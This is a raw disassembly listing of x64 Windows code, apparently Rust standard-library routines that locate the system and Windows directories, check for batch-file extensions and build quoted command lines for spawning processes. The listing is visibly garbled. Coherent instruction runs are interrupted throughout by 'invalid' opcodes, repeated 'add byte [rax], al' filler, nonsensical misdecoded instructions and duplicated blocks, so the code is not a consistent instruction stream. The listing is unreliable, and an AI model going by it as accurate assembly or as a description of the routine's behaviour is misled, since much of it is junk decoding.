jb 0x140087acc
mov rcx, qword [rsi + 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
movaps xmm6, xmmword [rbp + 0x5f0]
add rsp, 0x688
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xor r8d, r8d
lea rax, str.nul_byte_found_in_provided_data
mov qword [rbp + 0x5d8], rax
mov rax, r14
jmp 0x140087b0c
test r15, r15
js 0x14008a31f
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
jne 0x140087bf8
mov qword [rbp + 0x4e8], rax
mov qword [rbp + 0x4e0], 0
jmp 0x14008872c
invalid
ror byte [rbx + rcx*4 - 0x63], 1
fadd dword [0x14f6e7d5c]
invalid
mov byte [rbp + 0x5e7], 1
lea rcx, [rbp + 0x500]
call fcn.140081ae0
cmp byte [rbp + 0x518], 2
jne 0x140087e43
mov byte [rbp + 0x5e7], 1
lea rcx, [rbp + 0x500]
call fcn.140079f00
jmp 0x140087f13
mov rcx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x508]
mov qword [rbp + 0x5c8], rax
mov rsi, qword [rbp + 0x510]
mov rdi, qword [rbp + 0x518]
mov byte [rbp + 0x5a5], 0
mov qword [rbp + 0x5d8], rcx
mov rdx, rsi
call fcn.140084ba0
cmp rsi, rdx
cmovb rdx, rsi
test rax, rax
cmove rdx, rsi
mov rax, qword [rbp + 0x5d8]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x5c8]
mov qword [rbp - 8], rax
mov qword [rbp], rdx
mov qword [rbp + 8], rdi
lea rcx, [rbp - 0x10]
mov rdx, r14
mov r8, r15
call fcn.140083660
cmp qword [rbp + 0x5b0], 1
je 0x140087eca
lea rcx, [rbp - 0x10]
call fcn.140086110
mov rsi, qword [rbp - 0x10]
mov r8, qword [rbp]
lea rcx, [rbp + 0x460]
mov rdx, rsi
call fcn.14008d9e0
cmp qword [rbp - 8], 0
je 0x140087efa
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp + 0x460]
test r8, r8
je 0x140087f13
movdqu xmm6, xmmword [rbp + 0x468]
jmp 0x1400884b0
mov qword [rbp + 0x5c8], r14
mov qword [rbp + 0x4c0], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x4c8], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x5d8], rax
xor r14d, r14d
xor esi, esi
xor r12d, r12d
cmp r8, 0x201
jb 0x140087f6f
jmp 0x140087f80
jae 0x14008803e
cmp r8, 0x201
jae 0x140087f80
mov r15d, 0x200
lea r13, [rbp - 0x10]
mov rbx, r8
jmp 0x140087fd8
sub r8, r12
sub rsi, r12
cmp rsi, r8
jae 0x140087faf
lea rcx, [rbp + 0x4c0]
mov rdx, r12
call fcn.1400ae2f0
mov rax, qword [rbp + 0x4c0]
mov qword [rbp + 0x5d8], rax
mov r14, qword [rbp + 0x4c8]
mov eax, 0xffffffff
cmp r14, rax
mov r12d, 0xffffffff
cmovb r12, r14
mov qword [rbp + 0x4d0], r12
mov rsi, r14
mov r15, r12
mov r13, qword [rbp + 0x5d8]
mov rbx, r12
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, r13
mov edx, ebx
call qword [sym.imp.kernel32.dll_GetSystemDirectoryW]
mov edi, eax
test eax, eax
jne 0x140087fff
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140088201
mov r8d, edi
cmp rbx, r8
jne 0x140087f60
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14008a258
add rbx, rbx
mov eax, 0xffffffff
cmp rbx, rax
cmovae rbx, rax
mov r8, rbx
cmp r8, 0x201
jae 0x140087f80
jmp 0x140087f6f
cmp r15, r8
jb 0x14008a34a
lea rcx, [rbp + 0x500]
mov rdx, r13
call fcn.14007df10
lea rcx, [rbp + 0x500]
mov rdx, qword [rbp + 0x5c8]
mov r8, qword [rbp + 0x5b8]
call fcn.140083660
cmp qword [rbp + 0x5b0], 1
je 0x140088086
lea rcx, [rbp + 0x500]
call fcn.140086110
mov rdi, qword [rbp + 0x500]
mov r8, qword [rbp + 0x510]
lea rcx, [rbp + 0x578]
mov rdx, rdi
call fcn.14008d9e0
cmp qword [rbp + 0x508], 0
je 0x1400880bf
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
add dword [rdx], 0
add dword [rdx], 0
movdqu xmm0, xmmword [rbp + 0x578]
movdqu xmmword [rbp + 0x468], xmm0
mov rax, qword [rbp + 0x588]
mov qword [rbp + 0x478], rax
test dword [rax + 4], edi
add byte [rax], al
mov qword [rbp + 0x460], 0
mov sil, 1
jmp 0x140088223
lea r13, [rbp + 0x519]
lea rsi, [rbp - 0x10]
lea rdi, [rbp + 0x460]
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14008812e
mov byte [rbp + 0x5e7], 1
mov rcx, rsi
mov rdx, rdi
call fcn.140081850
movzx eax, byte [rbp + 8]
cmp al, 2
je 0x140087e0f
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp]
test rdx, rdx
jne 0x140088151
test rcx, rcx
je case.0x14007e2fa.411
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbx
jmp case.0x14007e2fa.411
mov r9d, dword [r12]
mov r10d, dword [r12 + 3]
mov dword [r13 + 3], r10d
push rbp
add eax, dword [rbp - 0x77]
add byte [r9 + rcx*4 - 0x7b], r9b
add byte [0xc950816b], al
lea ecx, [rax]
add eax, 0x89480000
xchg ebp, eax
adc byte [0xc5908179], al
add eax, 0x85880000
sbb byte [0xcd50817f], al
lea eax, [rax]
add eax, 0x894c0000
mov r8, r15
push rbp
add eax, dword [rbp - 0x77]
add byte [r9 + rcx*4 - 0x7b], r9b
add byte [0xc950816b], al
lea ecx, [rax]
add eax, 0x89480000
xchg ebp, eax
adc byte [0xc5908179], al
add eax, 0x85880000
add eax, 0x85880000
sbb byte [0xcd50817f], al
lea eax, [rax]
add eax, 0x894c0000
mov r8, r15
call fcn.140083660
cmp qword [rbp + 0x5b0], 1
je 0x1400881a5
lea rcx, [rbp + 0x500]
call fcn.140086110
invalid
dec dword [rbx + rcx*4 - 0x43]
add byte [0xcb5481ae], al
test dword [rax], edx
add eax, 0x89480000
int1
mov r15, qword [rbp + 0x500]
mov r8, qword [rbp + 0x510]
mov rcx, rsi
mov rdx, r15
call fcn.14008d9e0
cmp qword [rbp + 0x508], 0
je 0x1400881d6
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call rbx
mov r8, qword [rbp - 0x10]
test r8, r8
jne 0x14008916a
mov byte [rbp + 0x5e7], 1
mov rcx, rsi
mov rdx, rdi
call fcn.140081850
mov r15, qword [rbp + 0x5b8]
jmp 0x140088122
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x468], rax
mov qword [rbp + 0x460], 1
xor esi, esi
test r14, r14
je 0x14008823e
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5d8]
call qword [sym.imp.kernel32.dll_HeapFree]
test sil, sil
mov r14, qword [rbp + 0x5c8]
je 0x14008825c
mov r8, qword [rbp + 0x468]
test r8, r8
jne case.0x1400837b8.181
add byte [rax], al
jmp 0x14008826f
lea rcx, [rbp + 0x468]
mov byte [rbp + 0x5e7], 1
call fcn.140079f00
mov qword [rbp + 0x4c0], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x4c8], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x5d8], rax
xor esi, esi
xor r14d, r14d
xor ebx, ebx
cmp r8, 0x201
jb 0x1400882c6
mov r15, qword [rbp + 0x5b8]
jae 0x14008839e
cmp r8, 0x201
jae 0x1400882e0
mov r12d, 0x200
lea r13, [rbp - 0x10]
mov r15, r8
jmp 0x140088337
sub r8, rbx
sub r14, rbx
cmp r14, r8
jae 0x14008830f
lea rcx, [rbp + 0x4c0]
mov rdx, rbx
call fcn.1400ae2f0
add al, byte [rax]
mov rax, qword [rbp + 0x4c0]
mov qword [rbp + 0x5d8], rax
mov rsi, qword [rbp + 0x4c8]
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x4d0], rbx
mov r14, rsi
mov r12, rbx
mov r13, qword [rbp + 0x5d8]
mov r15, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, r13
mov edx, r15d
call qword [sym.imp.kernel32.dll_GetWindowsDirectoryW]
mov edi, eax
test eax, eax
jne 0x14008835f
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14008844c
mov r8d, edi
cmp r15, r8
jne 0x1400882b0
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14008a275
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jae 0x1400882e0
jmp 0x1400882c6
cmp r12, r8
jb 0x14008a36f
lea rcx, [rbp + 0x500]
add byte [rax], al
mov rdx, r13
call fcn.14007df10
lea rcx, [rbp + 0x500]
mov r14, qword [rbp + 0x5c8]
mov rdx, r14
mov r8, r15
call fcn.140083660
cmp qword [rbp + 0x5b0], 1
je 0x1400883e5
lea rcx, [rbp + 0x500]
call fcn.140086110
mov rdi, qword [rbp + 0x500]
add byte [rax], al
mov r8, qword [rbp + 0x510]
lea rcx, [rbp + 0x578]
mov rdx, rdi
cli
cli
call fcn.14008d9e0
cmp qword [rbp + 0x508], 0
add eax, 0x74000000
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rbp + 0x578]
js 0x140088429
add byte [rax], al
movdqu xmmword [rbp + 0x468], xmm0
test dword [rax + 4], ebp
add byte [rax], al
mov rax, qword [rbp + 0x588]
mov qword [rbp + 0x478], rax
mov qword [rbp + 0x460], 0
test dword [rax + 4], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dword [rax + 4], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dil, 1
jmp case.0x14007ec64.384
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x468], rax
mov qword [rbp + 0x460], 1
invalid
add al, 0
add byte [rcx], al
add byte [rax], al
add byte [rcx], dh
dec dword [rbx + rcx*4 - 0x4b]
mov ch, 0xc8
add eax, 0x8b4c0000
mov ebp, 0x5b8
invalid
test rsi, rsi
je 0x140088497
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5d8]
call qword [sym.imp.kernel32.dll_HeapFree]
test eax, ebx
add eax, 0x15ff0000
jno 0x140088514
add al, byte [rax]
test dil, dil
je 0x1400884d8
mov r8, qword [rbp + 0x468]
test r8, r8
je 0x1400884eb
add byte [rbp - 0x7b], cl
sal byte [rbx + rax*2 - 0xd], 0xf
movdqu xmm6, xmmword [rbp + 0x470]
invalid
invalid
movdqu xmm6, xmmword [rbp + 0x470]
jo 0x1400884b2
add byte [rax], al
movq qword [rbp + 0x5d8], xmm6
pshufd xmm0, xmm6, 0xee
out dx, al
invalid
movq r9, xmm0
cmp r9, 5
mov qword [rbp + 0x5b8], r8
jae 0x14008875e
invalid
add cl, ch
pushfq
add al, byte [rax]
add byte [rax - 0x73], cl
lea ebp, [rax + 4]
add byte [rax], al
jmp case.0x140088a7a.2
lea rcx, [rbp + 0x468]
mov byte [rbp + 0x5e7], 1
call fcn.140079f00
mov byte [rbp + 0x5e7], 1
lea rdx, str.PATHlibrary_std_src_sys_commonprocess.rs
adc eax, 0x60f4b
adc eax, 0x60f4b
lea rcx, [rbp + 0x578]
mov r8d, 4
call fcn.14007ff70
cmp byte [rbp + 0x590], 2
add byte [rdx], al
je 0x14008867e
add word [rax], ax
add byte [rax - 0x75], cl
lea edi, [rax + 5]
add byte [rax], al
mov rcx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x580]
mov qword [rbp + 0x5d8], rax
test eax, ebx
add eax, 0x8b480000
test dword [rax + 0x48000005], ecx
add eax, ecx
test eax, ebx
add eax, 0x8b480000
test dword [rax + 0x48000005], ecx
add eax, ecx
mov qword [rbp + 0x5c8], rcx
mov qword [rbp + 0x460], rcx
mov qword [rbp + 0x468], rax
mov word [rbp + 0x470], 0
mov byte [rbp + 0x478], 1
add al, 0
add byte [rcx], al
lea r12, [rbp + 9]
lea r13, [rbp + 0x519]
lea rsi, [rbp - 0x10]
lea rdi, [rbp + 0x460]
add byte [rax], al
add byte [rax], al
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rsi
mov rdx, rdi
call fcn.140081850
jmp 0x140088591
mov rcx, rsi
mov rdx, rdi
call fcn.140081850
movzx eax, byte [rbp + 8]
cmp al, 2
je 0x14008865e
mov ebp, 0x5b0
add dword [rsp + rcx + 0x48], esi
lea ecx, [rbp + 0x500]
call fcn.140086110
mov r15, qword [rbp + 0x500]
mov r8, qword [rbp + 0x510]
mov rcx, rsi
mov rdx, r15
mov edx, edi
call fcn.14008d9e0
cmp qword [rbp + 0x508], 0
je 0x140088645
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call rbx
mov rax, qword [rbp - 0x10]
test rax, rax
jne 0x140089d13
mov r15, qword [rbp + 0x5b8]
jmp 0x140088579
add cl, ch
sbb edi, edi
invalid
lea rax, [0x1400ea328]
mov qword [rbp + 0x5d8], rax
jmp 0x14008792f
cmovae esi, ecx
lea rcx, [rbp - 0x10]
mov rdx, r11
mov r8, rsi
call fcn.14007be20
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
test rcx, rcx
je 0x1400886f5
mov rdx, qword [rbp]
mov qword [rbp - 0x10], rcx
invalid
mov qword [rbp - 8], rax
mov qword [rbp], rdx
lea rcx, [rbp + 0x4e0]
lea rdx, [rbp - 0x10]
call fcn.14008d900
jmp 0x140088707
invalid
mov qword [rbp + 0x4e8], rax
mov qword [rbp + 0x4e0], 0
mov rdi, qword [rbp + 0x5d8]
mov r15, qword [rbp + 0x5b8]
test r15, r15
je 0x14008872c
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x4e8]
add byte [rax], al
mov qword [rbp + 0x5d8], rax
test r8, r8
je 0x14008792f
mov r9, qword [rbp + 0x4f0]
cmp r9, 5
mov qword [rbp + 0x5b8], r8
jb case.0x140088a7a.2
cmp word [r8 + r9*2 - 0xa], 0x2e
jne case.0x140088a7a.2
cmp word [r8 + r9*2 - 2], 0
je 0x140088a5a
mov rax, qword [rbp + 0x4d8]
mov rsi, qword [rax + 0x90]
mov rdi, qword [rax + 0xa0]
mov bl, byte [rax + 0xc5]
mov qword [rbp + 0x500], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x508], xmm0
lea rcx, [rbp + 0x500]
xor edx, edx
call fcn.140010730
jl 0x140088831
clc
dec dword [rax - 0x75]
test dword [rax], eax
add eax, 0x8b480000
add byte [rax - 0x75], cl
lea edx, [rax]
add eax, 0xc7660000
add al, 0x48
and al, byte [rax]
jl 0x140088831
clc
dec dword [rax - 0x75]
test dword [rax], eax
add eax, 0x8b480000
add byte [rax - 0x75], cl
add byte [rax - 0x75], cl
lea edx, [rax]
add eax, 0xc7660000
add al, 0x48
and al, byte [rax]
inc rcx
mov qword [rbp + 0x510], rcx
mov qword [rbp - 0x10], r14
mov rax, qword [rbp + 0x5a8]
mov qword [rbp - 8], rax
clc
mov word [rbp], 0
lea rcx, [rbp + 0x500]
add byte [0xcd5087f0], al
push rbp
invalid
call fcn.14007c080
mov rdx, qword [rbp + 0x510]
add byte [rax], al
add byte [rax], al
cmp rdx, qword [rbp + 0x508]
jne 0x14008881a
adc ecx, dword [rax - 0x73]
lea eax, [rax]
add eax, 0x1de80000
lea rcx, [rbp + 0x500]
call fcn.140010730
mov rdx, qword [rbp + 0x510]
add byte [0x15df08810], al
jg 0x14008880a
dec dword [rax - 0x75]
xchg ebp, eax
adc byte [0xcb50881c], al
test dword [rax], eax
add eax, 0xc7660000
invalid
add al, 0x50
and al, byte [rax]
add byte [rax], al
mov rax, qword [rbp + 0x500]
mov word [rax + rdx*2], 0x22
invalid
add al, 0x50
and al, byte [rax]
mov dword [rax + rdx*2], 0xff480022
ret 0x8948
inc rdx
mov qword [rbp + 0x510], rdx
invalid
add byte [rax - 0x73], cl
add al, 0xbf
lea rax, [rdi + rdi*4]
lea r15, [rsi + rax*8]
lea r14, [rbp + 0x500]
add byte [rax], al
cmp rsi, r15
je 0x1400888be
mov rdx, qword [rbp + 0x510]
cmp rdx, qword [rbp + 0x508]
jne 0x140088864
mov rcx, r14
mov ecx, esi
call fcn.140010730
mov rdx, qword [rbp + 0x510]
invalid
invalid
add byte [rax], al
mov rax, qword [rbp + 0x500]
mov word [rax + rdx*2], 0x20
inc rdx
mov qword [rbp + 0x510], rdx
add eax, 0x894c0000
int1
add eax, 0x894c0000
int1
mov rdx, rsi
mov r8d, ebx
call fcn.14008dac0
push rdx
add byte [rax], al
mov rdi, rax
add rsi, 0x28
test rax, rax
je 0x140088840
stosd dword [rdi], eax
cmp qword [rbp + 0x508], 0
je 0x1400889e1
test byte [rsi], bh
add dword [rax], eax
invalid
test byte [rsi], bh
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7b], cl
add byte [0xcb5088ac], al
or eax, 0x70947
mov r8, qword [rbp + 0x500]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400889e1
and eax, dword [rcx]
add byte [rax], al
mov rax, qword [rbp + 0x500]
mov rdi, qword [rbp + 0x508]
test rax, rax
je 0x1400889e1
mov rdx, qword [rbp + 0x510]
mov r13b, 1
mov dword [rbp + 0x440], 0
mov rcx, qword [rbp + 0x5b8]
mov qword [rbp + 0x5b0], rcx
mov rcx, qword [rbp + 0x5d8]
mov qword [rbp + 0x5a8], rcx
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], rdi
mov qword [rbp + 0x4f0], rdx
cmp rdx, rdi
jne 0x140088940
mov byte [rbp + 0x5d7], 1
lea rcx, [rbp + 0x4e0]
call fcn.140010730
mov rax, qword [rbp + 0x4e0]
mov rdx, qword [rbp + 0x4f0]
mov word [rax + rdx*2], 0
inc rdx
mov qword [rbp + 0x4f0], rdx
mov rcx, qword [rbp + 0x4d8]
cmp byte [rcx + 0xc4], 0
mov eax, 0x400
add al, 0
add byte [rcx - 0x41], al
or byte [rsi], al
add byte [rax], al
add al, 0
add byte [rcx - 0x41], al
or byte [rsi], al
add byte [rax], al
cmove r15d, eax
or r15d, dword [rcx + 0xc0]
cmp qword [rbp + 0x410], 0
je 0x140088a23
mov dword [rbp + 0x430], r15d
mov rsi, qword [rbp + 0x418]
mov rdi, qword [rbp + 0x420]
add al, 0
add byte [rax - 0x75], cl
mov ch, 0x18
add al, 0
add byte [rax - 0x75], cl
mov ebp, 0x420
mov rbx, qword [rbp + 0x428]
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], rdi
mov qword [rbp + 0x4d0], rbx
mov qword [rbp + 0x578], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x580], xmm0
test rbx, rbx
je 0x140088be5
mov r15d, 2
xor r12d, r12d
jmp 0x140088c19
mov rax, qword [rbp + 0x4f8]
mov qword [rax], rdi
mov qword [rax + 0x10], 2
xor esi, esi
cmp qword [rbp + 0x5d8], 0
je 0x140088a15
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5b8]
call qword [sym.imp.kernel32.dll_HeapFree]
test sil, sil
je 0x140087948
jmp 0x140087ab6
mov rax, rcx
mov edi, 2
xor r14d, r14d
xor ebx, ebx
cmp byte [rax + 0x88], 2
jne 0x1400891af
xor r12d, r12d
mov eax, 2
mov qword [rbp + 0x450], rax
xor eax, eax
mov qword [rbp + 0x568], rax
jmp 0x140089331
movzx eax, word [r8 + r9*2 - 8]
lea ecx, [rax - 0x42]
cmp ecx, 0x21
ja case.0x140088a7a.2
lea rdx, [0x1400f0bfc]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
movzx ecx, word [r8 + r9*2 - 6]
or ecx, 0x20
cmp ecx, 0x61
jne 0x140088a98
movzx ecx, word [r8 + r9*2 - 4]
or ecx, 0x20
cmp ecx, 0x74
je 0x140088ac8
cmp ax, 0x43
jne case.0x140088a7a.2
movzx eax, word [r8 + r9*2 - 6]
or eax, 0x20
cmp eax, 0x6d
jne case.0x140088a7a.2
movzx eax, word [r8 + r9*2 - 4]
add eax, 0xffffffbc
test eax, 0xffdf
jne case.0x140088a7a.2
mov qword [rbp + 0x598], r9
mov qword [rbp + 0x500], 2
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x508], xmm0
mov eax, 0x200
mov ecx, 2
mov qword [rbp + 0x5a8], rcx
xor edi, edi
xor esi, esi
xor ebx, ebx
cmp rax, 0x201
jb 0x140088b15
jmp 0x140088b24
jae 0x1400890d4
cmp rax, 0x201
jae 0x140088b24
mov r15d, 0x200
lea r14, [rbp - 0x10]
mov r12, rax
jmp 0x140088b7e
sub rax, rbx
sub rsi, rbx
cmp rsi, rax
jae 0x140088b56
lea rcx, [rbp + 0x500]
mov rdx, rbx
mov r8, rax
call fcn.1400ae2f0
mov rax, qword [rbp + 0x500]
mov qword [rbp + 0x5a8], rax
mov rdi, qword [rbp + 0x508]
mov eax, 0xffffffff
cmp rdi, rax
mov ebx, 0xffffffff
cmovb rbx, rdi
mov qword [rbp + 0x510], rbx
mov rsi, rdi
mov r15, rbx
mov r14, qword [rbp + 0x5a8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, r14
mov edx, r12d
call qword [sym.imp.kernel32.dll_GetSystemDirectoryW]
mov r13d, eax
test eax, eax
jne 0x140088ba7
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140089154
mov eax, r13d
cmp r12, rax
jne 0x140088b07
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14008a330
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov rax, r12
cmp rax, 0x201
jae 0x140088b24
jmp 0x140088b15
mov byte [rbp + 0x5e4], 1
lea rcx, [rbp + 0x578]
xor edx, edx
call fcn.140010730
mov r15, qword [rbp + 0x578]
mov r12, qword [rbp + 0x588]
mov word [r15 + r12*2], 0
inc r12
mov qword [rbp + 0x588], r12
xor eax, eax
test rsi, rsi
setne al
cmove rbx, rsi
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
mov qword [rbp], rsi
mov qword [rbp + 8], rdi
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x30], rbx
lea rcx, [rbp + 0x500]
lea rdx, [rbp - 0x10]
call fcn.1400867c0
mov r14d, r13d
mov rcx, qword [rbp + 0x500]
test rcx, rcx
je 0x140089112
mov r9, qword [rbp + 0x510]
imul rdx, r9, 0x38
cmp byte [rcx + rdx + 0x198], 2
je 0x140089112
mov rax, qword [rcx + rdx + 0x168]
mov qword [rbp + 0x570], rax
mov rax, qword [rcx + rdx + 0x170]
mov qword [rbp + 0x598], rax
mov rdi, qword [rcx + rdx + 0x178]
mov r8, qword [rcx + rdx + 0x180]
mov rax, qword [rcx + rdx + 0x188]
shl r9, 5
mov r10, qword [rcx + r9]
mov qword [rbp + 0x5c8], r10
mov r10, qword [rcx + r9 + 8]
mov qword [rbp + 0x568], r10
mov r13, qword [rcx + r9 + 0x10]
movzx r9d, byte [rcx + r9 + 0x18]
mov byte [rbp + 0x450], r9b
mov rcx, qword [rcx + rdx + 0x190]
add rcx, r8
xor r11d, r11d
mov rdx, r8
jmp 0x140088d1d
xor r11d, r11d
test r9w, r9w
je 0x14008901d
mov r9w, 1
test r11w, r11w
jne 0x140088d10
cmp rdx, rcx
je 0x140088dd8
movzx ebx, byte [rdx]
movzx r10d, bl
test r10b, r10b
js 0x140088d42
inc rdx
jmp 0x140088da3
mov r11d, r10d
and r11d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r10b, 0xdf
jbe 0x140088d95
movzx r10d, byte [rdx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp bl, 0xf0
jb 0x140088dae
movzx esi, byte [rdx + 3]
add rdx, 4
and r11d, 7
shl r11d, 0x12
shl r10d, 6
and esi, 0x3f
or esi, r10d
or esi, r11d
mov r10d, esi
cmp r10d, 0xffff
jbe 0x140088da3
jmp 0x140088dc2
add rdx, 2
shl r11d, 6
or r11d, esi
mov r10d, r11d
xor r11d, r11d
mov r9d, r10d
jmp 0x140088d13
add rdx, 3
shl r11d, 0xc
or r10d, r11d
cmp r10d, 0xffff
jbe 0x140088da3
and r10d, 0x3ff
or r10d, 0xdc00
mov r11d, r10d
jmp 0x140088d13
test rax, rax
je 0x140088dec
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x580]
sub rax, r12
cmp rax, rdi
jae 0x140088e1b
lea rcx, [rbp + 0x578]
mov rdx, r12
mov r8, rdi
call fcn.1400ae2f0
mov r15, qword [rbp + 0x578]
mov r12, qword [rbp + 0x588]
lea r8, [rdi + rdi]
mov rsi, r15
lea rcx, [r15 + r12*2]
mov rbx, qword [rbp + 0x570]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
add r12, rdi
mov qword [rbp + 0x588], r12
cmp qword [rbp + 0x598], 0
je 0x140088e5b
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r12, qword [rbp + 0x580]
jne 0x140088e88
mov byte [rbp + 0x5d6], 1
lea rcx, [rbp + 0x578]
mov rdx, r12
call fcn.140010730
mov rsi, qword [rbp + 0x578]
mov r12, qword [rbp + 0x588]
mov word [rsi + r12*2], 0x3d
inc r12
mov qword [rbp + 0x588], r12
mov rbx, qword [rbp + 0x5c8]
add r13, rbx
xor r8d, r8d
mov rax, rbx
jmp 0x140088eb7
xor r8d, r8d
test cx, cx
je 0x1400890c5
mov cx, 1
test r8w, r8w
jne 0x140088eab
cmp rax, r13
je 0x140088f6b
movzx r9d, byte [rax]
movzx edx, r9b
test dl, dl
js 0x140088ede
inc rax
jmp 0x140088f61
mov r8d, edx
and r8d, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x140088f2a
movzx edx, byte [rax + 2]
shl r10d, 6
and edx, 0x3f
or edx, r10d
cmp r9b, 0xf0
jb 0x140088f3a
movzx r9d, byte [rax + 3]
add rax, 4
and r8d, 7
shl r8d, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
or r9d, r8d
mov edx, r9d
jmp 0x140088f45
add rax, 2
shl r8d, 6
or r8d, r10d
mov edx, r8d
jmp 0x140088f61
add rax, 3
shl r8d, 0xc
or edx, r8d
cmp edx, 0xffff
jbe 0x140088f61
and edx, 0x3ff
or edx, 0xdc00
mov r8d, edx
jmp 0x140088eae
xor r8d, r8d
mov ecx, edx
jmp 0x140088eae
cmp byte [rbp + 0x450], 2
je 0x14008a0ca
mov qword [rbp + 0x460], rbx
mov qword [rbp + 0x468], r13
mov word [rbp + 0x470], 0
lea rcx, [rbp + 0x578]
lea rdx, [rbp + 0x460]
call fcn.14007c080
cmp qword [rbp + 0x568], 0
mov r13d, r14d
je 0x140088fc5
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x5c8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, qword [rbp + 0x588]
cmp r12, qword [rbp + 0x580]
jne 0x140088ff5
mov byte [rbp + 0x5d6], 0
lea rcx, [rbp + 0x578]
mov rdx, r12
call fcn.140010730
mov r12, qword [rbp + 0x588]
mov r13d, r14d
lea rcx, [rbp + 0x500]
lea rdx, [rbp - 0x10]
mov r15, qword [rbp + 0x578]
mov word [r15 + r12*2], 0
inc r12
mov qword [rbp + 0x588], r12
jmp 0x140088c5c
test rax, rax
je 0x140089031
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x568], 0
mov r13d, r14d
mov r8, qword [rbp + 0x5c8]
mov rbx, qword [rbp + 0x570]
je 0x14008905b
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x598], 0
je 0x140089077
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, str.nul_byte_found_in_provided_data
mov byte [rbp + 0x5e4], 0
lea rcx, [rbp - 0x10]
call fcn.14008b6f0
cmp qword [rbp + 0x580], 0
je 0x1400890ae
mov r8, qword [rbp + 0x578]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x4f8]
